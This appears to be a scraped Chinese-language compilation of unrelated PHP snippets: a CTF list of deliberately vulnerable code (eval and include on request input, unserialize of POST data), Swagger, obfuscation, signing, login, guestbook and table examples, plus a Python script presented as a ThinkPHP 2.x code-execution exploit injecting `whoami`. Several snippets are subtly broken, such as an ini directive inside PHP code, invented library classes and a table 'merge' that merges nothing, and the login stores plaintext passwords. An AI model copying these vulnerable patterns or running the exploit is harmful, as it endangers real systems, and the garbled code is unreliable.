2024-08-23

在CTF(Capture the Flag)中,PHP的特性可以以多种方式出现,常见的有以下几种:

  1. 代码执行:使用 eval(), exec(), system(), shell_exec(), passthru(), shell_exec() 等函数执行PHP代码。



<?php
eval($_REQUEST['code']);
?>
  1. 文件包含:使用 include(), require(), include_once(), require_once() 等函数包含文件。



<?php
include($_REQUEST['file']);
?>
  1. 文件操作:使用 file_put_contents(), fopen(), fwrite() 等函数写入文件,或 file_get_contents(), fread(), file(), readfile() 读取文件。



<?php
file_put_contents('flag.txt', $_REQUEST['data']);
?>
  1. 反序列化:使用 unserialize() 函数反序列化用户输入。



<?php
$data = unserialize($_POST['serialized_data']);
?>
  1. 动态函数:使用可变函数调用未知函数。



<?php
$func = $_REQUEST['func'];
$func();
?>
  1. 创建临时文件:使用 tmpfile(), fopen() 创建并写入数据。



<?php
$temp = tmpfile();
fwrite($temp, $_REQUEST['data']);
?>
  1. 错误配置:PHP配置不当,如 allow_url_include 开启,可能导致远程文件包含。
  2. 代码审计:分析源代码查找漏洞,如过滤不严、代码执行漏洞等。

以上是CTF中PHP特性的一些常见形式,需要根据实际情况进行分析和利用。

2024-08-23



<?php
 
require_once 'vendor/autoload.php';
 
use OpenApi\Annotations as OA;
 
/**
 * @OA\Info(title="My API", version="0.1")
 */
class SwaggerDefinition implements OpenApi\OpenApiInterface
{
    /**
     * @OA\Get(
     *     path="/api/resource.json",
     *     @OA\Response(response="200", description="An example resource")
     * )
     */
    public function getApiResource()
    {
        // 实现 API 逻辑
    }
 
    public function define()
    {
        // 这里可以定义更多的路由和响应
    }
}
 
$openapi = new OpenApi\StaticAnalyser();
$openapi->processAnnotations(new SwaggerDefinition());
 
$openapi->toJson();

这段代码演示了如何使用 Swagger-PHP 创建一个简单的 API 文档。首先,我们引入了必要的自动加载文件。接着,我们定义了一个类 SwaggerDefinition,并在其中使用了 OpenAPI 注解来描述一个 GET 请求的路由以及预期的响应。最后,我们实例化了 OpenApi\StaticAnalyser 类,并调用 processAnnotations 方法来处理我们的注解,然后将生成的 OpenAPI 定义转换为 JSON 格式。

2024-08-23

YAK Pro - PHP Obfuscator 是一个用于混淆 PHP 代码的工具,以防止反向工程和代码理解。以下是使用 YAK Pro 混淆 PHP 代码的基本步骤:

  1. 安装 YAK Pro:您需要从 YAK Pro 官方网站下载并安装最新版本。
  2. 配置 YAK Pro:在使用之前,您需要配置 YAK Pro 以适应您的项目。这可能包括指定需要混淆的文件和目录、混淆的强度、混淆后的文件输出位置等。
  3. 混淆代码:启动 YAK Pro,选择您的项目配置,然后运行混淆过程。YAK Pro 将扫描指定的文件和目录,并将其中的 PHP 代码混淆成难以理解和逆向工程的格式。
  4. 替换原始代码:混淆完成后,您需要将原始的 PHP 文件替换为混淆后的版本。

以下是一个示例流程,说明如何在具有 Laravel 10 框架的项目中使用 YAK Pro 混淆 PHP 代码:




# 安装 YAK Pro
composer require yakpro/yakpro-po-php
 
# 配置 YAK Pro 混淆规则
# 可以在项目的根目录下创建一个 yakpro-po.php 文件来配置混淆规则
 
# 运行混淆过程
php vendor/bin/yakpro-po-php artisan optimize
 
# 确保 .gitignore 或 .ignore 文件中包含以下内容,以避免混淆后的文件被提交到版本控制系统
*.php.orig

请注意,混淆 PHP 代码可能会破坏依赖于反射或特定代码结构的框架和库的功能。因此,在混淆代码之前,您应该在开发环境中充分测试应用程序的行为。

YAK Pro 混淆器不保证与 PHP 8 或 Laravel 10 的兼容性,您应该参照 YAK Pro 官方文档或支持论坛来获取最新的兼容性信息和指导。

2024-08-23



<?php
// 引入openssl扩展
extension=php_openssl.dll
 
// 定义一个函数用于生成SHA256WithRSA签名
function generateRSA256Signature($data, $privateKey) {
    $signature = "";
    openssl_sign($data, $signature, $privateKey, 'SHA256');
    return base64_encode($signature);
}
 
// 定义一个函数用于发送Curl POST请求
function sendCurlPostRequest($url, $data, $headers = array()) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}
 
// 使用示例
$url = "https://your-api-endpoint.com";
$data = array("key1" => "value1", "key2" => "value2");
$privateKey = "-----BEGIN PRIVATE KEY-----
...
-----END PRIVATE KEY-----";
 
// 生成签名
$signature = generateRSA256Signature(json_encode($data), $privateKey);
$headers = array("Authorization: Bearer " . $signature);
 
// 发送POST请求
$response = sendCurlPostRequest($url, $data, $headers);
echo $response;
?>

这个代码示例提供了两个函数:generateRSA256Signature用于生成SHA256WithRSA签名,sendCurlPostRequest用于发送Curl POST请求。使用时需要替换$url, $data, $privateKey为实际值,并根据API的要求设置请求头部$headers

2024-08-23

在React和PHP结合的课程项目中,我们可以假设有一个简单的登录表单,用户可以在其中输入用户名和密码,然后通过REST API发送到后端进行验证。以下是实现这个功能的代码示例:

React (JavaScript) 前端组件:




import React, { useState } from 'react';
import axios from 'axios';
 
const LoginForm = () => {
  const [username, setUsername] = useState('');
  const [password, setPassword] = useState('');
 
  const handleSubmit = async (event) => {
    event.preventDefault();
    try {
      const response = await axios.post('http://your-php-backend.com/api/login', {
        username,
        password,
      });
      // 处理登录成功的逻辑,例如保存token
      console.log(response.data);
    } catch (error) {
      // 处理登录失败的逻辑
      console.error('Login failed', error);
    }
  };
 
  return (
    <form onSubmit={handleSubmit}>
      <label>
        Username:
        <input type="text" value={username} onChange={(e) => setUsername(e.target.value)} />
      </label>
      <label>
        Password:
        <input type="password" value={password} onChange={(e) => setPassword(e.target.value)} />
      </label>
      <button type="submit">Login</button>
    </form>
  );
};
 
export default LoginForm;

PHP (后端) 代码示例:




<?php
// api/login 路由处理登录请求
 
$method = $_SERVER['REQUEST_METHOD'];
if ($method === 'POST') {
  $input = file_get_contents('php://input');
  $data = json_decode($input, true);
 
  // 假设用户数据存储在数据库中,这里简化为硬编码用户检查
  $users = [
    ['username' => 'user1', 'password' => 'pass1', 'token' => 'token1'],
    // ... 其他用户
  ];
 
  foreach ($users as $user) {
    if ($user['username'] === $data['username'] && $user['password'] === $data['password']) {
      // 登录成功,返回token
      http_response_code(200);
      header('Content-Type: application/json');
      echo json_encode(['token' => $user['token']]);
      exit;
    }
  }
 
  // 登录失败,返回错误
  http_response_code(401);
  header('Content-Type: application/json');
  echo json_encode(['error' => 'Invalid username or password']);
  exit;
}
 
http_response_code(405);
header('Content-Type: application/json');
echo json_encode(['error' => 'Method not allowed']);
exit;
?>
2024-08-23

在Python中,我们可以使用requests库来模拟发送HTTP请求以复现ThinkPHP 2.x的任意代码执行漏洞。以下是一个简单的Python脚本示例,用于尝试利用该漏洞:




import requests
 
# 目标URL
url = "http://your-target-url/index.php?s=captcha"
 
# 要发送的payload
payload = "--4eb23627607314\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\n\r\n--4eb23627607314\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n`whoami`\r\n--4eb23627607314\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n`whoami`\r\n--4eb23627607314--\r\n"
 
# 发送POST请求
headers = {
    'Content-Type': 'multipart/form-data; boundary=--4eb23627607314',
    'Content-Length': len(payload),
}
 
response = requests.post(url, data=payload, headers=headers)
 
# 输出响应
print(response.text)

请注意,由于这是一个攻击性质的代码示例,因此在使用时应确保目标系统已经同意并且你有合法权限进行测试。不要在未经授权的系统上进行测试或者攻击,这可能违反法律法规并会导致不必要的问题。

2024-08-23

为了防止SQL注入攻击,可以使用预处理语句(prepared statements)和参数化查询,这两者结合可以确保数据与SQL代码分开,从而避免了SQL注入的发生。

以下是使用PDO(PHP Data Objects)扩展来预防SQL注入的示例代码:




try {
    // 创建PDO实例
    $pdo = new PDO('mysql:host=your_host;dbname=your_db', 'username', 'password');
    
    // 设置错误模式为异常
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
    // 准备SQL语句
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
    
    // 绑定参数
    $stmt->bindParam(':username', $username);
    
    // 赋值
    $username = 'user_input';
    
    // 执行查询
    $stmt->execute();
    
    // 获取结果
    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
    
    // 使用结果
    foreach ($result as $row) {
        // 处理每一行
    }
} catch (PDOException $e) {
    // 处理异常
    echo 'Connection failed: ' . $e->getMessage();
}

在上述代码中,:username 是一个参数,它被绑定到一个PHP变量 $username。通过使用参数化查询,用户输入的数据不会直接嵌入到SQL语句中,从而防止了SQL注入的风险。如果用户尝试执行恶意SQL代码,这些代码将只被当作普通的参数值处理,不会被数据库认为是真正的SQL指令一部分。

2024-08-23



<?php
// 连接数据库
$db = new mysqli('localhost', 'username', 'password', 'guestbook');
 
// 检查连接
if ($db->connect_error) {
    die('Connect Error (' . $db->connect_errno . ') ' . $db->connect_error);
}
 
// 检查表单提交
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $name = $db->real_escape_string($_POST['name']);
    $email = $db->real_escape_string($_POST['email']);
    $message = $db->real_escape_string($_POST['message']);
 
    // 插入数据库
    $query = "INSERT INTO messages (name, email, message, created_at) VALUES ('$name', '$email', '$message', NOW())";
    $result = $db->query($query);
 
    // 检查插入结果
    if ($result) {
        echo "<p>Message added successfully!</p>";
    } else {
        echo "<p>Error: " . $db->error . "</p>";
    }
}
 
// 获取所有留言
$messages = $db->query("SELECT * FROM messages ORDER BY id DESC");
 
// 输出留言
while ($row = $messages->fetch_assoc()) {
    echo "<p><strong>" . htmlspecialchars($row['name']) . "</strong> (" . htmlspecialchars($row['email']) . "):<br>" . htmlspecialchars($row['message']) . "</p>";
}
 
// 关闭数据库连接
$db->close();
?>

这段代码展示了如何使用PHP和MySQL创建一个简单的留言板。它首先连接到数据库,然后检查是否有表单提交。如果有,它会将用户留言插入到数据库中,并显示一条确认消息。之后,它从数据库中检索留言并将它们显示出来。最后,代码关闭了数据库连接。

2024-08-23

在PHP中,要循环输出表格行并对相同列进行合并,可以使用双层循环来创建表格,并使用条件判断来决定是否合并单元格。以下是一个简单的示例代码:




<?php
// 假设这是你的数据数组
$data = [
    ['name' => 'Item 1', 'category' => 'Category A'],
    ['name' => 'Item 2', 'category' => 'Category A'],
    ['name' => 'Item 3', 'category' => 'Category B'],
    // ... 更多数据
];
 
// 用于追踪上一行类别,以判断是否合并
$lastCategory = null;
 
// 开始表格
echo '<table>';
 
// 循环数据数组
foreach ($data as $row) {
    // 如果这是第一行或类别改变了,开始新的表格行
    if ($lastCategory !== $row['category']) {
        if ($lastCategory !== null) {
            echo '</tr>'; // 关闭上一行
        }
        echo '<tr>'; // 开始新的行
    }
 
    // 输出单元格
    echo '<td>' . htmlspecialchars($row['name']) . '</td>';
 
    // 更新最后一个类别
    $lastCategory = $row['category'];
}
 
// 关闭最后一个行
echo '</tr>';
 
// 关闭表格
echo '</table>';
?>

这段代码会创建一个表格,并且会对相同category的项进行行合并。注意,实际的合并是在HTML层面通过合并相邻行的单元格来实现的,而不是在PHP代码中实现。

2024-08-23

PHP与MySQL搭配使用是构建动态网站的常见方式。以下是一个简单的示例,展示如何使用PHP连接MySQL数据库,并执行一个查询。

  1. 安装并配置MySQL数据库。
  2. 安装PHP。
  3. 确保PHP与MySQL扩展(如mysqli或PDO)兼容。

示例代码:




<?php
// 数据库连接信息
$host = 'localhost'; // 数据库服务器
$username = 'your_username'; // 数据库用户名
$password = 'your_password'; // 数据库密码
$database = 'your_database'; // 数据库名
 
// 创建数据库连接
$conn = new mysqli($host, $username, $password, $database);
 
// 检查连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}
 
// SQL查询
$sql = "SELECT id, firstname, lastname FROM users";
$result = $conn->query($sql);
 
// 检查结果
if ($result->num_rows > 0) {
    // 输出数据
    while($row = $result->fetch_assoc()) {
        echo "id: " . $row["id"]. " - Name: " . $row["firstname"]. " " . $row["lastname"]. "<br>";
    }
} else {
    echo "0 结果";
}
 
// 关闭数据库连接
$conn->close();
?>

在这个例子中,我们创建了一个数据库连接,执行了一个简单的查询,检查了查询结果,并输出了结果。最后关闭了数据库连接。这是一个构建动态网站所需的基本步骤之一。